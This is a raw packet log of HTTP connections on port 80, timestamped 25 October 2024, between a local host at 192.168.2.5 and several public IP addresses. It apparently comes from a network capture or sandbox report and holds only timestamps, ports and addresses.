Oct 25, 2024 11:18:13.965821028 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.965837002 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.966197014 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966207027 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966216087 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966295958 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966305017 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966315031 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966320992 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.966332912 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966339111 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.966345072 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966351032 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.966356993 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966367006 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.966376066 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.966383934 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.966409922 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.966599941 CEST	80	52937	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.969537973 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969562054 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969573021 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969697952 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969697952 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969723940 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969734907 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969746113 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969757080 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969770908 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969783068 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969796896 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969800949 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969813108 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969824076 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969825029 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969836950 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969839096 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969847918 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969854116 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969860077 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969871044 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969880104 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969882965 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969893932 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969897985 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969912052 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969923973 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969924927 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969935894 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.969949961 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969960928 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.969993114 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.970597029 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.970607996 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.970618010 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.970643997 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.970659971 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.985538960 CEST	52951	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.990951061 CEST	80	52951	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.991015911 CEST	52951	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.991405964 CEST	52951	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.996917009 CEST	80	52951	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:14.023075104 CEST	52952	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:14.028481007 CEST	80	52952	13.248.169.48	192.168.2.5
Oct 25, 2024 11:18:14.028569937 CEST	52952	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:14.028794050 CEST	52952	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:14.034208059 CEST	80	52952	13.248.169.48	192.168.2.5
Oct 25, 2024 11:18:14.066615105 CEST	80	52938	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:14.066756964 CEST	52938	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:14.082487106 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082648993 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082660913 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082672119 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082699060 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082710981 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082721949 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082734108 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082743883 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082756042 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082767963 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082781076 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082792044 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082803011 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082813978 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082825899 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082868099 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.082942009 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082962036 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082973003 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.082990885 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083028078 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.083089113 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083100080 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083168030 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083173037 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.083185911 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083198071 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083237886 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.083297968 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.083374023 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083395004 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083421946 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083432913 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083441019 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.083444118 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083461046 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083472967 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083492041 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083494902 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.083504915 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083515882 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083601952 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.083796978 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083808899 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083820105 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083832026 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083843946 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083854914 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083868027 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083877087 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083930016 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083952904 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.083966017 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084014893 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084028006 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084062099 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084074020 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084089041 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.084139109 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084148884 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084201097 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.084270954 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.084285975 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084299088 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084310055 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084347010 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.084392071 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084403992 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084409952 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.084418058 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084429026 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084440947 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084451914 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084462881 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.084506989 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.084614992 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088491917 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088505030 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088515997 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088596106 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088615894 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088627100 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088656902 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088675976 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088676929 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088687897 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088700056 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088707924 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088716030 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088728905 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088747025 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088752031 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088762999 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088774920 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088787079 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088798046 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088798046 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088799000 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.088798046 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088814974 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.088845015 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089102983 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089114904 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089124918 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089195013 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089211941 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089238882 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089274883 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089319944 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089370012 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089373112 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089373112 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089385033 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089409113 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089413881 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089421988 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089437962 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089458942 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089458942 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089469910 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089500904 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089514971 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089543104 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089555025 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089565992 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089580059 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089586973 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089596033 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089613914 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089621067 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089628935 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089663982 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089689016 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089724064 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089782953 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089838028 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089849949 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089860916 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.089884043 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.089901924 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.119060040 CEST	80	52938	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:14.119170904 CEST	52938	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:14.120685101 CEST	80	52939	13.248.169.48	192.168.2.5
Oct 25, 2024 11:18:14.120784044 CEST	52939	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:14.123778105 CEST	52939	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:14.129179955 CEST	80	52939	13.248.169.48	192.168.2.5
Oct 25, 2024 11:18:14.181843996 CEST	52641	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:14.182326078 CEST	52954	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:14.183773994 CEST	52652	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.184072018 CEST	52955	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.187196016 CEST	80	52641	188.166.152.188	192.168.2.5
Oct 25, 2024 11:18:14.187939882 CEST	80	52954	188.166.152.188	192.168.2.5
Oct 25, 2024 11:18:14.188024044 CEST	52954	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:14.188874006 CEST	52954	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:14.189409971 CEST	80	52652	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.189488888 CEST	52652	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.189763069 CEST	80	52955	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.189950943 CEST	52955	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.190884113 CEST	52955	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.194179058 CEST	80	52954	188.166.152.188	192.168.2.5
Oct 25, 2024 11:18:14.196211100 CEST	80	52955	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.200015068 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200027943 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200037956 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200050116 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200061083 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200071096 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200104952 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200115919 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200126886 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200136900 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200148106 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200149059 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200160980 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200192928 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200193882 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200206995 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200217962 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200218916 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200228930 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200241089 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200241089 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200268984 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200272083 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200285912 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200285912 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200295925 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200306892 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200306892 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200318098 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200329065 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200335026 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200336933 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200345039 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200355053 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200365067 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200365067 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200386047 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200387001 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200395107 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200401068 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200412989 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200426102 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200449944 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200452089 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200460911 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200463057 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200474024 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200484037 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200489998 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200495005 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200521946 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200529099 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200550079 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200556993 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200563908 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200575113 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200586081 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200587034 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200598955 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200611115 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200614929 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200619936 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200634003 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200653076 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200674057 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200712919 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200777054 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200793028 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200803995 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200814962 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200825930 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200836897 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200841904 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200850010 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200860977 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200865984 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200870991 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.200885057 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200911999 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.200989008 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201000929 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201010942 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201076984 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201088905 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201101065 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201101065 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201119900 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201132059 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201220036 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201231003 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201255083 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201266050 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201270103 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201278925 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201289892 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201299906 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201303959 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201312065 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201320887 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201323986 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201335907 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201339006 CEST	52928	80	192.168.2.5	23.227.38.74
